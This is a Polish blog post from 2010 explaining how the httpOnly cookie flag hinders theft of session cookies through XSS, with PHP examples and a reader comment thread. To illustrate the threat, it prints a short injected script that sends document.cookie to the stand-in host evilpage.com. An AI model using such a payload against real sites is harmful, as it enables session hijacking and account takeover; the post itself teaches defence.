• Strona główna
  • Curriculum Vitae
  • O mnie
  • Przykład: Gramatyka w PHP
  • Przykład: Kompresja CSS
  • Przykład: Kompresja JavaScript
  • Przykład: Skracanie linków
  • Przykład: Wykrywanie serwera HTTP
  • Przykład: Własna bramka SMS
  • Mapa strony
  • Kontakt
Niebieski Pomarańczowy Zielony Różowy Fioletowy

Bezpieczeństwo cookies z httpOnly

Opublikowane 30 grudnia 2010. Autor: Kamil Brenk. Wizyt: 9 632.

Kategorie: Protokół HTTP
Tematyka: bezpieczeństwo aplikacji internetowych, bezpieczeństwo stron www, JavaScript, programowane ciekawostki, Protokół HTTP

gru 30

W niniejszym wpisie chciałbym krótko napomnieć o ważnym i prostym, aczkolwiek często pomijanym zabezpieczeniu przed kradzieżą ciasteczek (zwłaszcza sesyjnych) od użytkownika. Dokładniej mowa tutaj o ochronie przed atakiem typu XSS (Cross-site scripting).

Metodą ochrony (a raczej tylko dodatkowym utrudnieniem) jest flaga httpOnly dodawana do ciasteczek wysyłanych w nagłówkach HTTP.

XSS, mówiąc najkrócej polega na wstrzykiwaniu niebezpiecznego kodu intruza do naszej strony. Przykładowo, intruzowi mogłoby udać się przemycić do naszej strony niniejszy kod:

1
2
3
4
<script type="text/javascript">
var pic = new Image();
    pic.src = "http://evilpage.com/?id=" + escape(document.cookie);
</script>

Spowoduje to wysłanie wszystkich ciasteczek (zebranych dla domeny) użytkownika odwiedzającego stronę ze złowrogim kodem do strony evilpage.com, co następnie może przyczynić się do przejęcia konta przez intruza lub innych, gorszych konsekwencji.

Oczywiście możliwości wstrzyknięcia różnorakiego kodu jest naprawdę wiele i ciężko przed nimi się uchronić.

Co wnosi flaga httpOnly do cookie?

Z pomocą przychodzi flaga httpOnly dodawana do cookies. Pozwala ona częściowo zapobiegać, a raczej utrudniać stosowanie powyższego rodzaju ataków XSS.

Obrona polega na zmniejszeniu „widzialności” ciasteczek, bowiem każde ciastko z flagą httpOnly będzie widoczne jedynie po stronie języka serwerowego, nie będzie natomiast widoczne dla języków działających po stronie klienta (client-side)!

Czas na prosty przykład:

1
header("Set-Cookie: app=MyApp; httpOnly");

czy

1
setcookie("app", "MyApp", NULL, NULL, NULL, NULL, TRUE);

W ten oto sposób stworzyliśmy ciasteczko z flagą httpOnly. Od teraz ciasteczko to jest widoczne jedynie po stronie serwera.

Co nam to daje? Ano podczas ataku, w którym ktoś zamieści kod typu:

1
2
3
<script type="text/javascript">
   alert(document.cookie);
</script>

nie zostaną uwzględnione ciasteczka z ustawioną flagą httpOnly!

Ciasteczka tego typu powinniśmy wykorzystywać przede wszystkich przy cookie sesyjnych, tak by utrudnić ewentualne przejęcie sesji przez nieuprawnionych intruzów.

Wsparcie przeglądarek

Jak już pewnie się domyślasz, cały czas mowa o ukrywaniu ciasteczek po stronie klienta, czyli wszystko zależy od konkretnych przeglądarek. Aby więc ciasteczka z flagą httpOnly były ukrywane, przeglądarki muszą zaimplementować odpowiednie zabezpieczenia.

Na szczęście, wszystkie popularne przeglądarki stosują już to zabezpieczenie. Ciekawostką jest, że to Internet Explorer jako pierwszy zaczął obsługiwać flagę httpOnly, a dopiero później dołączyły nowoczesne przeglądarki: Mozilla, Opera i pozostałe.

Dodatkowe materiały warte zapoznania
  • Why HttpOnly won’t protect you
  • HttpOnly – OWASP
  • Protecting Your Cookies: HttpOnly

Komentarze (12)

  1. Krzysztof Kotowicz 30 grudnia 2010

    Wyjątkowo wyważony wpis na temat httpOnly – developerzy zwykle piszą, że httpOnly „zabezpiecza przed XSS”, ustrzegłeś się tego uproszczenia, za co Ci chwała ;)

    Jest kilka sposobów, którymi można „obejść” httpOnly, zresztą włamywaczom nie zawsze zależy na ciastku, zwykły XSS potrafi o wiele więcej – ciekawy wpis na ten temat tutaj.

    ps. świetny blog-wylądował w moich rssach kilka dni temu :)

  2. batman 30 grudnia 2010

    Przy okazji zabezpieczania ciasteczek warto również wspomnieć o parametrze secure, który ustawiony wymusi wysyłanie ciastek tylko protokołem https, co dodatkowo zabezpiecza naszą aplikację.

  3. Kamil Brenk 30 grudnia 2010

    @Krzysztof, dziękuję za komentarz i miłe słowa – zwłaszcza od osoby, która na bezpieczeństwie zna się dużo duuużo lepiej (czytam Twojego bloga i wiem co piszę). Także liczę, że przy okazji wpisów nt. bezpieczeństwa od czasu do czasu wyprowadzisz mnie z błędu czy poprawisz :-)

    5 Reasons HTTPOnly won’t save you – ciekawy artykuł pokazujący gdzie konkretnie nie pomoże httpOnly (szukałem czegoś podobnego i nie znalazłem, także dzięki).

    @batman: też prawda, choć chciałem skupić się wyłącznie na httpOnly. Poza secure można by jeszcze wspomnieć o przypisywaniu ciastek do konkretnych folderów, a nie całej domeny, jak to większość robi (coby nie pobierać ich przy każdym requescie).

    I pewnie można by ciągnąć temat w nieskończoność, dodając kolejne luki i fjuczery.

  4. Michal Wachowski 30 grudnia 2010

    I pewnie można by ciągnąć temat w nieskończoność, dodając kolejne luki i fjuczery.
    Oj nie można, czasem trzeba powiedzieć dość – inaczej tak pozabezpieczasz, że nie da się pracować.

    A i tak się w pełni nie da, bo to kwestia czas aż ktoś się wrypie.

  5. Piotrek Reinmar Koszuliński 31 grudnia 2010

    Mnie ciekawi jak jest właśnie z tą implementacją httpOnly w przeglądarkach. Nie mogę nigdzie znaleźć świeżego materiału na ten temat, ale czytałem post sprzed roku, że to bezpieczeństwo (bo o zabezpieczeniu nie ma mowy ;>) cookiesów było wirtualne. Jeśli dobrze pamiętam wystarczyło zapytanie XHRowe żeby otrzymać wszystkie ciasteczka. Jak sprawa wygląda teraz?

  6. Kamil Brenk 31 grudnia 2010

    @Michał: nie da się obronić przed wszystkimi, aczkolwiek pewne dodatkowe warstwy bezpieczeństwa można wprowadzać, zwłaszcza że są tak łatwe do implementacji.

    Tak samo jak dodajemy walidację do formularzy, zarówno po stronie klienta, jak i serwera, tak i tutaj powinniśmy umieć się bronić przed XSS-em i dodatkowo wprowadzać takie małe zabezpieczenia – celem utrudnienia życia włamywaczom :-)

    @Piotrek: później potestuję z XHRem i dam znać jak to się spisuje.

  7. aargoth 8 kwietnia 2011

    HttpOnly to tak naprawdę zwykły uprzykrzacz, a nie zabezpieczenie. Jeśli aplikacja jest źle napisana, fałszywe poczucie bezpieczeństwa u programisty po użyciu HttpOnly lub Secure powoduje tylko większe problemy, niż bez tego mechanizmu.

    Link jak częściowo obejść zabezpieczenia HttpOnly i Secure

  8. Kamil Brenk 8 kwietnia 2011

    We wpisie wyjaśniłem, że powyższe zabezpieczenie jest łatwe do obejścia, ale bezpieczeństwa nigdy za wiele, o ile nie uprzykrza życia użytkownikowi.

    Btw. dobrego masz bloga aargoth :)

  9. aaaaaa 7 maja 2011

    dzięki, świetny artykuł. Dzieki też aargoth za linka.

  10. nowy 25 października 2011

    takie proste, a jaki przydatne

    takie strony o bezpieczeństwie są potrzebne
    graty!

  11. Kamil Brenk 25 października 2011

    @aaaaaa, @nowy: Dziękuję za miłe słowa, które motywują do dalszego pisania i prowadzenia bloga :)

  12. Wyrafinowany 0day na jeden z najpopularniejszych skryptów do prowadzenia forum | Zaufana Trzecia Strona 17 listopada 2013

    […] Głównym powodem skomplikowania był fakt, ze ciasteczka z uwierzytelnieniem sesji mają ustawioną flagę HttpOnly, przez co nie jest je tak prosto wykraść skryptem JS przez atak typu XS…. Według anonimowego Redditora atak wyglądał zatem […]



Kamil Brenk Blog

PHP, JavaScript, SQL, HTML

  • Informacje o blogu

    Kamil Brenk

    Blog o tworzeniu aplikacji na potrzeby sieci Web.

    Praktyczne przykłady, porady i sztuczki. PHP, SQL, AJAX, JavaScript, HTML i pochodne.

    Kanał RSS

    • Najnowsze
    • Komentarze
    • Popularne
    • Liczniki w CSS
    • Wyprzedaż książek o programowaniu!
    • Niestandardowy placeholder
    • JavaScript w modułach
    • Co dalej z blogiem?
    • Interaktywna mapa w HTML i CSS
    • Olsztyn: Jak wyseparować zawartość zassaną przez file_get_content?
    • ERMLAB: Od czegoś trzeba zacząć :) Wiele osób właśnie stawia na...
    • david: co nalezy wkleić na stronę aby plik ze stylami był ladowany...
    • krynicz: Nie jestem pewien czy dobrze to rozumiem: wpisujemy OG w...
    • yaro: Jak zmienić re_write znak "_" na "-"?
    • Piotr: stworzyłem prostą stronkę w PHP, czy jest możliwość aby...
    • MichalR: Super sprawa... bardzo przydatne.. dzieki i pozdrawiam..
    • Niestandardowe czcionki na stronie
    • Sposoby wczytywania JavaScript
    • Gramatyka w PHP, część 1
    • Umowa i zaliczka dla freelancera
    • Wysyłanie wiadomości SMS w PHP
    • Projekt aplikacji po stronie klienta
    • Własny mechanizm Feed
  • Szukajka
    Wpisz co chcesz wyszukać na stronie…
  • Kategorie
    • Apache
    • Freelancer
    • Front-end Development
    • HTML5 & CSS3
    • Inne
    • JavaScript
    • Książki
    • PHP
    • Po godzinach
    • Pozycjonowanie
    • Protokół HTTP
    • SQL
    • Wyrażenia regularne
  • Moje serwisy
    • Testy zawodowe
    • Miłość, uczucia i seks
  • Czytane blogi
    • Wojciech Sznapka
    • Wojciech Soczyński
    • Michał Wachowski
    • Tomasz Kowalczyk
    • Filip Górczyński
  • Strona główna
  • Curriculum Vitae
  • O mnie
  • Przykład: Gramatyka w PHP
  • Przykład: Kompresja CSS
  • Przykład: Kompresja JavaScript
  • Przykład: Skracanie linków
  • Przykład: Wykrywanie serwera HTTP
  • Przykład: Własna bramka SMS
  • Mapa strony
  • Kontakt

Kamil Brenk © 2010. All rights reserved.

Designed by FTL Wordpress Themes brought to you by Smashing Magazine.

Do góry ∧